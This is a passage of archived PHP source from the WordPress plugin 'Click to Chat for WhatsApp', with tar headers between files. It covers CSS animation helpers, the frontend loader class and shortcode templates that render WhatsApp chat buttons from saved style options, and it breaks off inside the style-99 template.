        <style id="<?= $a ?>">@keyframes flip{from{transform:perspective(400px) scale3d(1,1,1) translate3d(0,0,0) rotate3d(0,1,0,-360deg);animation-timing-function:ease-out}40%{transform:perspective(400px) scale3d(1,1,1) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);animation-timing-function:ease-out}50%{transform:perspective(400px) scale3d(1,1,1) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);animation-timing-function:ease-in}80%{transform:perspective(400px) scale3d(.95,.95,.95) translate3d(0,0,0) rotate3d(0,1,0,0deg);animation-timing-function:ease-in}to{transform:perspective(400px) scale3d(1,1,1) translate3d(0,0,0) rotate3d(0,1,0,0deg);animation-timing-function:ease-in}}<?= '.'.$a ?>{backface-visibility:visible;animation-name:flip}</style>
        <?php
    }

    function bounceInLeft($a) {
        ?>
        <style id="<?= $a ?>">@keyframes bounceInLeft{from,60%,75%,90%,to{animation-timing-function:cubic-bezier(0.215,0.61,0.355,1)}0%{opacity:0;transform:translate3d(-3000px,0,0) scaleX(3)}60%{opacity:1;transform:translate3d(25px,0,0) scaleX(1)}75%{transform:translate3d(-10px,0,0) scaleX(0.98)}90%{transform:translate3d(5px,0,0) scaleX(0.995)}to{transform:translate3d(0,0,0)}}<?= '.'.$a ?>{animation-name:bounceInLeft}</style>
        <?php
    }


    function bounceInRight($a) {
        ?>
        <style id="<?= $a ?>">@keyframes bounceInRight{from,60%,75%,90%,to{animation-timing-function:cubic-bezier(0.215,0.61,0.355,1)}from{opacity:0;transform:translate3d(3000px,0,0) scaleX(3)}60%{opacity:1;transform:translate3d(-25px,0,0) scaleX(1)}75%{transform:translate3d(10px,0,0) scaleX(0.98)}90%{transform:translate3d(-5px,0,0) scaleX(0.995)}to{transform:translate3d(0,0,0)}}<?= '.'.$a ?>{animation-name:bounceInRight}</style>
        </style>
        <?php
    }

    function bounceIn($a) {
        ?>
        <style id="<?= $a ?>">@keyframes bounceIn{from,20%,40%,60%,80%,to{animation-timing-function:cubic-bezier(0.215,0.61,0.355,1)}0%{opacity:0;transform:scale3d(0.3,0.3,0.3)}20%{transform:scale3d(1.1,1.1,1.1)}40%{transform:scale3d(0.9,0.9,0.9)}60%{opacity:1;transform:scale3d(1.03,1.03,1.03)}80%{transform:scale3d(0.97,0.97,0.97)}to{opacity:1;transform:scale3d(1,1,1)}}<?= '.'.$a ?>{animation-duration:calc(1s * 0.75);animation-duration:calc(var(1) * 0.75);animation-name:bounceIn}</style>
        <?php
    }

    function bounceInDown($a) {
        ?>
        <style id="<?= $a ?>">@keyframes bounceInDown{from,60%,75%,90%,to{animation-timing-function:cubic-bezier(0.215,0.61,0.355,1)}0%{opacity:0;transform:translate3d(0,-3000px,0) scaleY(3)}60%{opacity:1;transform:translate3d(0,25px,0) scaleY(0.9)}75%{transform:translate3d(0,-10px,0) scaleY(0.95)}90%{transform:translate3d(0,5px,0) scaleY(0.985)}to{transform:translate3d(0,0,0)}}<?= '.'.$a ?>{animation-name:bounceInDown}</style>
        <?php
    }

    function bounceInUp($a) {
        ?>
        <style id="<?= $a ?>">@keyframes bounceInUp{from,60%,75%,90%,to{animation-timing-function:cubic-bezier(0.215,0.61,0.355,1)}from{opacity:0;transform:translate3d(0,3000px,0) scaleY(5)}60%{opacity:1;transform:translate3d(0,-20px,0) scaleY(0.9)}75%{transform:translate3d(0,10px,0) scaleY(0.95)}90%{transform:translate3d(0,-5px,0) scaleY(0.985)}to{transform:translate3d(0,0,0)}}<?= '.'.$a ?>{animation-name:bounceInUp}</style>
        <?php
    }


    // local
    function center($a) {
        ?>
        <style id="<?= $a ?>">@keyframes center{from{transform:scale(0);}to{transform: scale(1);}}<?= '.'.$a ?>{animation: center .25s;}</style>
        <?php
    }

    // local
    // this function is not calling. js handle the corner effect... 
    function corner($a) {
        ?>
        <style id="<?= $a ?>">@keyframes corner{to{transform:scale(1)}}<?= '.'.$a ?>{animation:corner .9s}</style>
        <?php
    }

    
    // zoomin not using ( using center() )
    function zoomIn($a) {
        ?>
        <style id="<?= $a ?>">
        @keyframes zoomIn {
        from {
            opacity: 0;
            transform: scale3d(0.3, 0.3, 0.3);
        }

        50% {
            opacity: 1;
        }
        }
        <?= '.'.$a ?> {
        animation: zoomIn .25s;
        /* animation-name: zoomIn; */
        }
        </style>
        <?php
    }


    // local
    // have to improve, add bounce effect..
    function bottomRight($a) {
        ?>
        <style id="<?= $a ?>">

            @keyframes bounceInBR {
            0% {
                transform: translateY(1000px) translateX(1000px);
                opacity: 0;
            }
            100% {
                transform: translateY(0) translateX(0);
                opacity: 1;
            }
            }
            <?= '.'.$a ?> {
                animation: bounceInBR 0.5s linear both;
            }
        </style>
        <?php
    }


}

// new HT_CTC_Animations();

endif; // END class_exists checkclick-to-chat-for-whatsapp/new/inc/class-ht-ctc-main.php000064400000002334147510273110017064 0ustar00<?php
/**
 * main file to get started for front end .. 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Main' ) ) :

class HT_CTC_Main {

    public function __construct() {
        $this->enables();
    }

    // If feature enabled load that class..
    public function enables() {
        
        // 'chat' feature
        include_once HT_CTC_PLUGIN_DIR .'new/inc/chat/class-ht-ctc-chat.php';
        include_once HT_CTC_PLUGIN_DIR . 'new/inc/chat/class-ht-ctc-chat-shortcode.php';
        
        $options = get_option( 'ht_ctc_othersettings' );

        // if enable call 'group' feature
        if ( isset( $options['enable_group'] ) ) {
            include_once HT_CTC_PLUGIN_DIR .'new/inc/group/class-ht-ctc-group.php';
            include_once HT_CTC_PLUGIN_DIR . 'new/inc/group/class-ht-ctc-group-shortcode.php';
        }

        // if enabled call 'share' feature
        if ( isset( $options['enable_share'] ) ) {
            include_once HT_CTC_PLUGIN_DIR .'new/inc/share/class-ht-ctc-share.php';
            include_once HT_CTC_PLUGIN_DIR . 'new/inc/share/class-ht-ctc-share-shortcode.php';
        }
    }

}

new HT_CTC_Main();

endif; // END class_exists checkclick-to-chat-for-whatsapp/new/inc/styles-shortcode/sc-style-3_1.php000064400000003755147510273110021323 0ustar00<?php
/**
 * sc s3 Extend
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$s3_1_options = get_option( 'ht_ctc_s3_1' );

$s3_type = ( isset( $s3_1_options['s3_type']) ) ? esc_attr( $s3_1_options['s3_type'] ) : 'simple';

$img_size = esc_attr( $s3_1_options['s3_img_size'] );
if ( '' == $img_size ) {
    $img_size = "40px";
}

$ht_ctc_svg_css = "pointer-events:none; display:block; height:$img_size; width:$img_size;";

$s3_img_link = plugins_url( './new/inc/assets/img/whatsapp-logo.svg', HT_CTC_PLUGIN_FILE );

include_once HT_CTC_PLUGIN_DIR .'new/inc/assets/img/ht-ctc-svg-images.php';

$s3_padding = ( isset( $s3_1_options['s3_padding']) ) ? esc_attr( $s3_1_options['s3_padding'] ) : '';
$s3_bg_color = ( isset( $s3_1_options['s3_bg_color']) ) ? esc_attr( $s3_1_options['s3_bg_color'] ) : '#25D366';
$s3_bg_color_hover = ( isset( $s3_1_options['s3_bg_color_hover']) ) ? esc_attr( $s3_1_options['s3_bg_color_hover'] ) : '#25D366';

$s3_box_shadow = "";
if ( isset( $s3_1_options['s3_box_shadow'])) {
    $s3_box_shadow = "box-shadow: 0px 0px 11px rgba(0,0,0,.5);";
}
$s3_extend_css = "background-color: $s3_bg_color; padding: $s3_padding; border-radius: 50%; $s3_box_shadow";

$s3_box_shadow_hover = "";
if ( isset( $s3_1_options['s3_box_shadow_hover'])) {
    $s3_box_shadow_hover = "box-shadow: 0px 0px 11px rgba(0,0,0,.5);";
}
// hover css
$s3_hover_css = "background-color:$s3_bg_color_hover !important;$s3_box_shadow_hover";

$others = array(
    'bg_color' => "$s3_bg_color",
);

$style_3_extend_svg = ht_ctc_style_3_1_svg( $img_size, $type, $ht_ctc_svg_css, $others );;


// styles
$o .= '<style id="ht-ctc-sc-s8">';
$o .= '.ht-ctc-sc:hover svg stop{stop-color:'.$s3_bg_color_hover.';}.ht-ctc-sc:hover .ht_ctc_padding{'.$s3_hover_css.'}';
$o .= '</style>';


$s3_extend = '';
$s3_extend .= '
<div title="'.$call_to_action.'" class="ctc-analytics ht_ctc_padding" style="'.$s3_extend_css.' display:inline-flex;">
    '.$style_3_extend_svg.'
</div>
';

$o .= $s3_extend;click-to-chat-for-whatsapp/new/inc/styles-shortcode/sc-style-8.php000064400000006357147510273110021111 0ustar00<?php
/**
 * materialize button
 * 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$s8_options = get_option( 'ht_ctc_s8' );

$s8_icon_color = esc_attr( $s8_options['s8_icon_color'] );
$s8_icon_color_on_hover = esc_attr( $s8_options['s8_icon_color_on_hover'] );
$s8_txt_color = esc_attr( $s8_options['s8_txt_color'] );
$s8_txt_color_on_hover = esc_attr( $s8_options['s8_txt_color_on_hover'] );
$s8_bg_color = esc_attr( $s8_options['s8_bg_color'] );
$s8_bg_color_on_hover = esc_attr( $s8_options['s8_bg_color_on_hover'] );

$s8_btn_size = esc_attr( $s8_options['s8_btn_size'] );

$s8_icon_size = ('' == esc_attr( $s8_options['s8_icon_size'] )) ? "17px" : esc_attr( $s8_options['s8_icon_size'] );

$s8_text_size = esc_attr( $s8_options['s8_text_size'] );
$s8_text_size_css = ('' == $s8_text_size) ? "" : "font-size: $s8_text_size;";
// $s8_text_size_css = ('' == $s8_text_size) ? "font-size: 16px;" : "font-size: $s8_text_size;";

$s8_icon_position = esc_attr( $s8_options['s8_icon_position'] );

// shortcode attributes 
$s8_width_sc   = esc_attr($a["s8_width"]);
// left/right/hide or any thing to display icon just before the text
$s8_icon_position_sc   = esc_attr($a["s8_icon_position"]);

$s8_width_css = '';
if ( '' !== $s8_width_sc ) {
  $s8_width_css = "width: $s8_width_sc;";
}

if ( '' !== $s8_icon_position_sc ) {
  $s8_icon_position = $s8_icon_position_sc;
}

$s8_height = '36px';
if ('btn-large' == $s8_btn_size) {
  $s8_height = '54px';
}

$s8_icon_css = ( 'right' == $s8_icon_position ) ? "order:1;margin-left: 15px;" : "order:0;margin-right: 15px;";
$s8_text_css = "color:$s8_txt_color; $s8_text_size_css ";
$s8_main_span_css = "display: flex;padding: 0 2rem;letter-spacing: .5px;transition: .2s ease-out;text-align: center;justify-content: center;align-items: center;border-radius:2px;height:$s8_height;line-height:$s8_height;vertical-align:middle;box-shadow:0 2px 2px 0 rgba(0,0,0,.14), 0 1px 5px 0 rgba(0,0,0,.12), 0 3px 1px -2px rgba(0,0,0,.2);box-sizing:inherit;background-color:$s8_bg_color;";

$s8_svg_attrs = array (
  'color' => "$s8_icon_color",
  'icon_size' => "$s8_icon_size",
  'type' => "$type",
  'ht_ctc_svg_css' => 'display:block;',
);

$style_8_svg = "";
if ('hide' !== $s8_icon_position) {
  include_once HT_CTC_PLUGIN_DIR .'new/inc/assets/img/ht-ctc-svg-images.php';
  $style_8_svg = ht_ctc_singlecolor( $s8_svg_attrs );
}

// styles
$o .= '<style>';
$o .= '.ht-ctc-sc .ht-ctc-style-8 .s_8 svg{'.$s8_icon_css.'}.ht-ctc-sc:hover svg g path{fill:'.$s8_txt_color_on_hover.' !important;}.ht-ctc-sc:hover .ht-ctc-s8-text{color:'.$s8_txt_color_on_hover.' !important;}.ht-ctc-sc:hover .ht-ctc-style-8 .s_8{box-shadow: 0 3px 3px 0 rgba(7,6,6,.14), 0 1px 7px 0 rgba(0,0,0,.12), 0 3px 1px -1px rgba(0,0,0,.2) !important; transition: .2s ease-out !important; background-color:'.$s8_bg_color_on_hover.' !important; }';
$o .= '</style>';

$o .=  '
  <div class="ht-ctc-style-8 ctc-analytics" style="display: inline-block; '.$s8_width_css.' " >
    <span class="s_8 waves-effect waves-light ctc-analytics" style="'.$s8_main_span_css.' ">
      '.$style_8_svg.'
      <span class="ht-ctc-s8-text s8_span ctc-analytics ctc_cta" style="'.$s8_text_css.'">
        '.$call_to_action.'
      </span>
    </span>
  </div>
';
click-to-chat-for-whatsapp/new/inc/styles-shortcode/sc-style-6.php000064400000001576147510273110021105 0ustar00<?php
/**
 * plain text link
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$s6_options = get_option( 'ht_ctc_s6' );

$s6_txt_color = esc_attr( $s6_options['s6_txt_color'] );
$s6_txt_color_on_hover = esc_attr( $s6_options['s6_txt_color_on_hover'] );
$s6_txt_decoration = esc_attr( $s6_options['s6_txt_decoration'] );
$s6_txt_decoration_on_hover = esc_attr( $s6_options['s6_txt_decoration_on_hover'] );

$input_onhover = "this.style.color='$s6_txt_color_on_hover', this.style.textDecoration='$s6_txt_decoration_on_hover'";
$input_onhover_out = "this.style.color='$s6_txt_color', this.style.textDecoration='$s6_txt_decoration'";


$o .=  '
    <a class="ctc-analytics ctc_cta" style="color: '.$s6_txt_color.'; text-decoration: '.$s6_txt_decoration.';"
    onmouseover = "'.$input_onhover.'" 
    onmouseout  = "'.$input_onhover_out.'"
    >
    '.$call_to_action.'
    </a>
';click-to-chat-for-whatsapp/new/inc/styles-shortcode/sc-style-1.php000064400000001513147510273110021067 0ustar00<?php
/**
 * 
 * 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

// $s1_options = get_option( 'ht_ctc_s1' );
// $s1_img_size = esc_attr( $s1_options['s1_img_size'] );


$s1_options = get_option( 'ht_ctc_s1' );

$s1_css = "";
$s1_text_color = (isset( $s1_options['s1_text_color'])) ? esc_attr( $s1_options['s1_text_color'] ) : '';
$s1_css .= ('' !== $s1_text_color) ? "color:$s1_text_color;": "";
$s1_bg_color = (isset( $s1_options['s1_bg_color'])) ? esc_attr( $s1_options['s1_bg_color'] ) : '';
$s1_css .= ('' !== $s1_bg_color) ? "background-color:$s1_bg_color;": "";

$s1_style = ('' !== $s1_css) ? "style='$s1_css'": "";

$s1_fullwidth_css = "";

if ( '' == $call_to_action ) {
    $call_to_action = "WhatsApp us";
}


$o .=  '
    <button '.$s1_style.' class="ctc-analytics ctc_cta">'.$call_to_action.'</button>
';click-to-chat-for-whatsapp/new/inc/styles-shortcode/sc-style-7.php000064400000006535147510273110021106 0ustar00<?php
/**
 * icon with padding borderr
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$s7_options = get_option( 'ht_ctc_s7' );

$s7_icon_size = esc_attr( $s7_options['s7_icon_size'] );
$s7_icon_color = esc_attr( $s7_options['s7_icon_color'] );
$s7_icon_color_hover = esc_attr( $s7_options['s7_icon_color_hover'] );
$s7_border_size = esc_attr( $s7_options['s7_border_size'] );
$s7_border_color = esc_attr( $s7_options['s7_border_color'] );
$s7_border_color_hover = esc_attr( $s7_options['s7_border_color_hover'] );
$s7_border_radius = esc_attr( $s7_options['s7_border_radius'] );

// Call to action 
$s7_cta_type = (isset( $s7_options['cta_type'])) ? esc_attr( $s7_options['cta_type'] ) : 'hover';
$s7_cta_textcolor = (isset( $s7_options['cta_textcolor'])) ? esc_attr( $s7_options['cta_textcolor'] ) : '';
$s7_cta_bgcolor = (isset( $s7_options['cta_bgcolor'])) ? esc_attr( $s7_options['cta_bgcolor'] ) : '#ffffff';

$s7_cta_font_size = (isset( $s7_options['cta_font_size'])) ? esc_attr( $s7_options['cta_font_size'] ) : '';
$s7_cta_font_size = ('' !== $s7_cta_font_size) ? "font-size: $s7_cta_font_size;" : "";

$s7_n1_styles = "display:inline-flex;justify-content:center;align-items:center;";
$s7_icon_css = "display:inline-flex; font-size: $s7_icon_size; color: $s7_icon_color; padding: $s7_border_size; background-color: $s7_border_color; border-radius: $s7_border_radius;";

// Call to action 
$s7_cta_order = "1";

$s7_cta_css = "padding: 0px 16px; $s7_cta_font_size color: $s7_cta_textcolor; background-color: $s7_cta_bgcolor; border-radius:10px; margin:0 10px; ";
$s7_cta_class = "ht-ctc-cta ";
$title = "";
if ( 'hover' == $s7_cta_type ) {
    $s7_cta_css .= " display: none; order: $s7_cta_order; ";
    $s7_cta_class .= " ht-ctc-cta-hover ";
    $title = "title = '$call_to_action'";
} elseif ( 'show' == $s7_cta_type ) {
    $s7_cta_css .= "order: $s7_cta_order; ";
} elseif ( 'hide' == $s7_cta_type ) {
    $s7_cta_css .= " display: none; ";
    $title = "title = '$call_to_action'";
}

// svg values
$ht_ctc_svg_css = "pointer-events:none; display:block; height:$s7_icon_size; width:$s7_icon_size;";
$s7_svg_attrs = array(
    'color' => "$s7_icon_color",
    'icon_size' => "$s7_icon_size",
    'type' => "$type",
    'ht_ctc_svg_css' => "$ht_ctc_svg_css",
);


// hover (call to action hover effects is not there for shortcodes - as it may moves posts content. )(javascript have to display cta on hover)
$s7_hover_icon_styles = ".ht-ctc-sc.sc-style-7:hover .ctc_s_7_icon_padding{background-color:$s7_border_color_hover !important;}.ht-ctc-sc.sc-style-7:hover svg g path{fill:$s7_icon_color_hover !important;}";

include_once HT_CTC_PLUGIN_DIR .'new/inc/assets/img/ht-ctc-svg-images.php';

$style_7_svg = ht_ctc_singlecolor( $s7_svg_attrs );


$o .= '<style id="ht-ctc-sc-s7">';
$o .= '.ht-ctc-sc.sc-style-7:hover .ctc_s_7_icon_padding{background-color:'.$s7_border_color_hover.' !important;}.ht-ctc-sc.sc-style-7:hover svg g path{fill:'.$s7_icon_color_hover.' !important;}';
$o .= '</style>';

$o .= '
    <div '.$title.' class="ctc_s_7 ctc-analytics" style="'.$s7_n1_styles.'">
        <p class="ctc_s_7_cta ctc-analytics ctc_cta '.$s7_cta_class.'" style="'.$s7_cta_css.'">'.$call_to_action.'</p>
        <div class="ctc_s_7_icon_padding ctc-analytics " style="'.$s7_icon_css.'">
            '.$style_7_svg.'
        </div>
    </div>
';click-to-chat-for-whatsapp/new/inc/styles-shortcode/sc-style-7_1.php000064400000005720147510273110021321 0ustar00<?php
/**
 * icon with padding borderr
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$s7_1_options = get_option( 'ht_ctc_s7_1' );

$s7_icon_size = esc_attr( $s7_1_options['s7_icon_size'] );
$s7_icon_color = esc_attr( $s7_1_options['s7_icon_color'] );
$s7_icon_color_hover = esc_attr( $s7_1_options['s7_icon_color_hover'] );
$s7_bgcolor = esc_attr( $s7_1_options['s7_bgcolor'] );
$s7_bgcolor_hover = esc_attr( $s7_1_options['s7_bgcolor_hover'] );

// Call to action 
$s7_cta_type = (isset( $s7_1_options['cta_type'])) ? esc_attr( $s7_1_options['cta_type'] ) : 'hover';

$s7_1_cta_font_size = (isset( $s7_1_options['cta_font_size'])) ? esc_attr( $s7_1_options['cta_font_size'] ) : '';
$s7_1_cta_font_size = ('' !== $s7_1_cta_font_size) ? "font-size: $s7_1_cta_font_size; " : "";

// Call to action - Order
$s7_cta_order = "1";
$s7_cta_padding_css = "padding-right: 21px;";
// $s7_cta_padding_css = "padding-left: 21px;";

$s7_n1_styles = "display:inline-flex;justify-content:center;align-items:center;";
$s7_cta_css = "$s7_1_cta_font_size";
$s7_icon_padding_css = "";
$s7_cta_class = "ht-ctc-cta ";

// hover style is not there in shortcodes.. 
$s7_n1_styles .= "padding:5px 25px; background-color:$s7_bgcolor;border-radius:25px;";
$s7_cta_css .= "padding: 1px 16px; color: $s7_icon_color; border-radius:10px; margin:0 10px; order: $s7_cta_order; ";
$s7_icon_padding_css .= "display:inline-flex; ";

// $s7_mouse_hover = "this.style.backgroundColor= '$s7_bgcolor_hover', this.querySelector('.ctc_s_7_1_cta').style.color= '$s7_icon_color_hover', this.querySelector('svg g path').style.fill= '$s7_icon_color_hover' ";
// $s7_mouse_out = "this.style.backgroundColor= '$s7_bgcolor', this.querySelector('.ctc_s_7_1_cta').style.color= '$s7_icon_color', this.querySelector('svg g path').style.fill= '$s7_icon_color' ";
// onmouseover="'.$s7_mouse_hover.'" onmouseout="'.$s7_mouse_out.'"

// svg values
$ht_ctc_svg_css = "pointer-events:none; display:block; height:$s7_icon_size; width:$s7_icon_size;";
$s7_svg_attrs = array(
    'color' => "$s7_icon_color",
    'icon_size' => "$s7_icon_size",
    'type' => "$type",
    'ht_ctc_svg_css' => "$ht_ctc_svg_css",
);

include_once HT_CTC_PLUGIN_DIR .'new/inc/assets/img/ht-ctc-svg-images.php';

$style_7_1_svg = ht_ctc_singlecolor( $s7_svg_attrs );

$o .= '<style id="ht-ctc-sc-s7_1">';
$o .= '.ht-ctc-sc.sc-style-7_1:hover .ctc_s_7_1{background-color:'.$s7_bgcolor_hover.' !important;}.ht-ctc-sc.sc-style-7_1:hover .ctc_s_7_1_cta{color:'.$s7_icon_color_hover.' !important;}.ht-ctc-sc.sc-style-7_1:hover svg g path{fill:'.$s7_icon_color_hover.' !important;}';
$o .= '</style>';

$o .=  '
    <div class="ctc_s_7_1 ctc-analytics" style="'.$s7_n1_styles.'">
        <p class="ctc_s_7_1_cta ctc-analytics ctc_cta '.$s7_cta_class.'" style="'.$s7_cta_css.'">'.$call_to_action.'</p>
        <div class="ctc_s_7_icon_padding ctc-analytics " style="'.$s7_icon_padding_css.'">
            '.$style_7_1_svg.'
        </div>
    </div>
';click-to-chat-for-whatsapp/new/inc/styles-shortcode/sc-style-4.php000064400000003757147510273110021106 0ustar00<?php
/**
 * chip style
 * 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$s4_options = get_option( 'ht_ctc_s4' );


$s4_text_color = esc_attr( $s4_options['s4_text_color'] );
$s4_bg_color = esc_attr( $s4_options['s4_bg_color'] );
$s4_img_url = esc_attr( $s4_options['s4_img_url'] );

$s4_img_position = ( isset( $s4_options['s4_img_position']) ) ? esc_attr( $s4_options['s4_img_position'] ) : 'left';
$s4_img_size = ( isset( $s4_options['s4_img_size']) ) ? esc_attr( $s4_options['s4_img_size'] ) : '';
if ( '' == $s4_img_size ) {
    $s4_img_size = "32px";
}

if ( '' == $call_to_action ) {
    $call_to_action = "WhatsApp us";
}


if ( 'left' == $s4_img_position ) {
    $s4_margin = "0 8px 0 -12px;";
    // $s4_margin = "0 8px 0 -13px;";
    $s4_order = "0";
} else {
    $s4_margin = "0 -12px 0 8px;";
    $s4_order = "1";
}

$rtl_css = "";
if ( is_rtl() ) {
    $rtl_css = "flex-direction:row-reverse";
}

$s4_chip_css = "display:inline-flex;$rtl_css;justify-content:center;align-items:center;background-color:$s4_bg_color;color:$s4_text_color;padding:0 12px;border-radius:25px;font-size:13px;line-height:32px;";
$s4_chip_svg_css ="margin:$s4_margin;order:$s4_order;";
$s4_chip_img_css ="margin:$s4_margin;order:$s4_order;height:$s4_img_size;width:$s4_img_size;border-radius:50%";
$ht_ctc_svg_css = "pointer-events:none; display: block; height:$s4_img_size; width:$s4_img_size;";

if ( '' == $s4_img_url ) {
    include_once HT_CTC_PLUGIN_DIR .'new/inc/assets/img/ht-ctc-svg-images.php';
    $style_3_svg = ht_ctc_style_3_svg( $s4_img_size, $type, $ht_ctc_svg_css );
    $type = "$type-s4";
    $s4_img = '<span style="'.$s4_chip_svg_css.'">'.$style_3_svg.'</span>';
} else {
    // if user changed the image
    $s4_img = '<img style="'.$s4_chip_img_css.'" src="'.$s4_img_url.'" alt="'.$call_to_action.'">';
}

$o .=  '
    <div class="ctc_chip ctc-analytics ctc_cta" style="'.$s4_chip_css.'">
        '.$s4_img.'
        <span>'.$call_to_action.'</span>
    </div>
';click-to-chat-for-whatsapp/new/inc/styles-shortcode/sc-style-3.php000064400000001355147510273110021075 0ustar00<?php
/**
 * 
 * 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$s3_options = get_option( 'ht_ctc_s3' );

$img_size = esc_attr( $s3_options['s3_img_size'] );
if ( '' == $img_size ) {
    $img_size = "50px";
}

$ht_ctc_svg_css = "pointer-events:none; display:block; height:$img_size; width:$img_size;";

$s3_img_link = plugins_url( './new/inc/assets/img/whatsapp-logo.svg', HT_CTC_PLUGIN_FILE );

include_once HT_CTC_PLUGIN_DIR .'new/inc/assets/img/ht-ctc-svg-images.php';

$s3_simple = '';
$s3_simple .=  '
<img class="img-icon ctc-analytics ctc_cta" title="'.$call_to_action.'" style="display: inline-block; width: '.$img_size.';  height: '.$img_size.';" src="'.$s3_img_link.'" alt="'.$call_to_action.'">
';

$o .= $s3_simple;click-to-chat-for-whatsapp/new/inc/styles-shortcode/sc-style-2.php000064400000000673147510273110021076 0ustar00<?php
/**
 * 
 * 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$s2_options = get_option( 'ht_ctc_s2' );

$s2_img_size = esc_attr( $s2_options['s2_img_size'] );

$s2_img_link = plugins_url( './new/inc/assets/img/whatsapp-icon-square.svg', HT_CTC_PLUGIN_FILE );


$o .=  '
<img class="img-icon ctc-analytics ctc_cta" title="'.$call_to_action.'" style="height: '.$s2_img_size.';" src="'.$s2_img_link.'" alt="'.$call_to_action.'">
';click-to-chat-for-whatsapp/new/inc/styles-shortcode/sc-style-5.php000064400000007601147510273110021077 0ustar00<?php
/**
 * image with content slider
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$s5_options = get_option( 'ht_ctc_s5' );

$s5_line_1 = esc_attr( $s5_options['s5_line_1'] );
$s5_line_1_color = esc_attr( $s5_options['s5_line_1_color'] );
$s5_line_2_color = esc_attr( $s5_options['s5_line_2_color'] );
$s5_background_color = esc_attr( $s5_options['s5_background_color'] );
$s5_border_color = esc_attr( $s5_options['s5_border_color'] );
$s5_img_height = esc_attr( $s5_options['s5_img_height'] );
$s5_img_width = esc_attr( $s5_options['s5_img_width'] );
$s5_content_height = esc_attr( $s5_options['s5_content_height'] );
$s5_content_width = esc_attr( $s5_options['s5_content_width'] );
// $s5_img = esc_attr( $s5_options['s5_img'] );
// $s5_line_2 = esc_attr( $s5_options['s5_line_2'] );
// $s5_img_position = esc_attr( $s5_options['s5_img_position'] );

// shortcode attributes 
$s5_img_position_sc   = esc_attr($a["s5_img_position"]);
$s5_img_url_sc   = esc_attr($a["s5_img_url"]);
$s5_line_2_sc   = esc_attr($a["s5_line_2"]);

// shortcodes image position default to left, can change position using attributes
$s5_img_position = ('' !== $s5_img_position_sc) ? $s5_img_position_sc : 'left';
$s5_line_2 = ('' !== $s5_line_2_sc) ? $s5_line_2_sc : esc_attr( $s5_options['s5_line_2'] );
$s5_img = ('' !== $s5_img_url_sc) ? $s5_img_url_sc : esc_attr( $s5_options['s5_img'] );

// default image - if user not added any image from customize/shortcode
if ( '' == $s5_img ) {
    $s5_img = plugins_url( './new/inc/assets/img/new_style8.jpg', HT_CTC_PLUGIN_FILE );
}

if ( '' == $s5_line_1 ) {
    $s5_line_1 = $call_to_action;
}


$s5_cta_style = "display: -ms-flexbox; display: -webkit-flex; display: flex;";


$s5_img_style = '';
$s5_img_style .= 'height: '.$s5_img_height.'; width: '.$s5_img_width.'; z-index: 999999;  ';
if ( 'right' == $s5_img_position ) {
    $s5_img_style .= 'order: 1;';
}

$s5_content_style = '';
$s5_content_style .= 'flex-direction: column; justify-content: center; align-items: center;    ';
$s5_content_style .= ' background-color: '.$s5_background_color.'; border: 1px solid '.$s5_border_color.'; height: '.$s5_content_height.'; width: '.$s5_content_width.';  ';
if ( 'right' == $s5_img_position ) {
    $s5_content_style .= 'margin-right: -4px;';
} elseif ( 'left' == $s5_img_position ) {
    $s5_content_style .= 'margin-left: -4px;';
}


// adding styles.. 
$s5_css_code = '
.ht-ctc-style-5 .s5_img{box-shadow:2px 5px 10px rgba(0,0,0,.5)}.ht-ctc-style-5 .s5_content{box-shadow:2px 5px 10px rgba(0,0,0,.5);border-radius:5px}.ht-ctc-style-5 .s5_content span{padding:5px;overflow:hidden}.ht-ctc-style-5 .s5_content .heading{font-size:20px}.ht-ctc-style-5 .s5_content .description{font-size:12px}.ht-ctc-style-5 .s5_content.right{animation:1s s5_translate_right}.ht-ctc-style-5 .s5_content.left{animation:1s s5_translate_left}@keyframes s5_translate_right{0%{transform:translateX(55px)}100%{transform:translateX(0)}}@keyframes s5_translate_left{0%{transform:translateX(-55px)}100%{transform:translateX(0)}}
';


// styles
$o .= '<style>';
$o .= '.ht-ctc-style-5 .s5_content{display:none}.ht-ctc-style-5 .s5_cta:hover .s5_content{display:flex}';
$o .= $s5_css_code;
$o .= '</style>';


$o .=  '
    <div class="ht-ctc-style-5 ctc-analytics" style="display: inline-block; cursor: pointer; z-index: 99999999;" >
        <div class="s5_cta ctc-analytics" style="'.$s5_cta_style.'"   >
            <img class="s5_img ctc-analytics" src="'.$s5_img.'" style="'.$s5_img_style.'" alt="'.$call_to_action.'">
            <div class="s5_content '.$s5_img_position.'" style="'.$s5_content_style.'" >
                <span class="heading ctc-analytics ctc_cta" style="color: '.$s5_line_1_color.'">'.$s5_line_1.'</span>
                <span class="description ctc-analytics" style="color: '.$s5_line_2_color.'">'.$s5_line_2.'</span>
            </div>
        </div>
    </div>
';click-to-chat-for-whatsapp/new/inc/styles-shortcode/sc-style-99.php000064400000003153147510273110021172 0ustar00<?php
/**
 * style 99 own image
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$s_99_options = get_option( 'ht_ctc_s99' );

$s_99_desktop_img_height = esc_attr( $s_99_options['s99_desktop_img_height'] );
$s_99_desktop_img_width = esc_attr( $s_99_options['s99_desktop_img_width'] );
$s_99_mobile_img_height = esc_attr( $s_99_options['s99_mobile_img_height'] );
$s_99_mobile_img_width = esc_attr( $s_99_options['s99_mobile_img_width'] );

// img url
// image - width, height based on device
$s_99_img_css = "";


if( 'yes' == $is_mobile ) {

    $s_99_own_image = esc_html( $s_99_options['s99_mobile_img_url'] );

    if ( '' !== $s_99_mobile_img_height ) {
        $s_99_img_css .= "height: $s_99_mobile_img_height; ";
    } else {
        $s_99_img_css .= "height: 40px; ";
    }

    if ( '' !== $s_99_mobile_img_width ) {
        $s_99_img_css .= "width: $s_99_mobile_img_width; ";
    }
} else {
    $s_99_own_image = esc_html( $s_99_options['s99_dekstop_img_url'] );

    if ( '' !== $s_99_desktop_img_height ) {
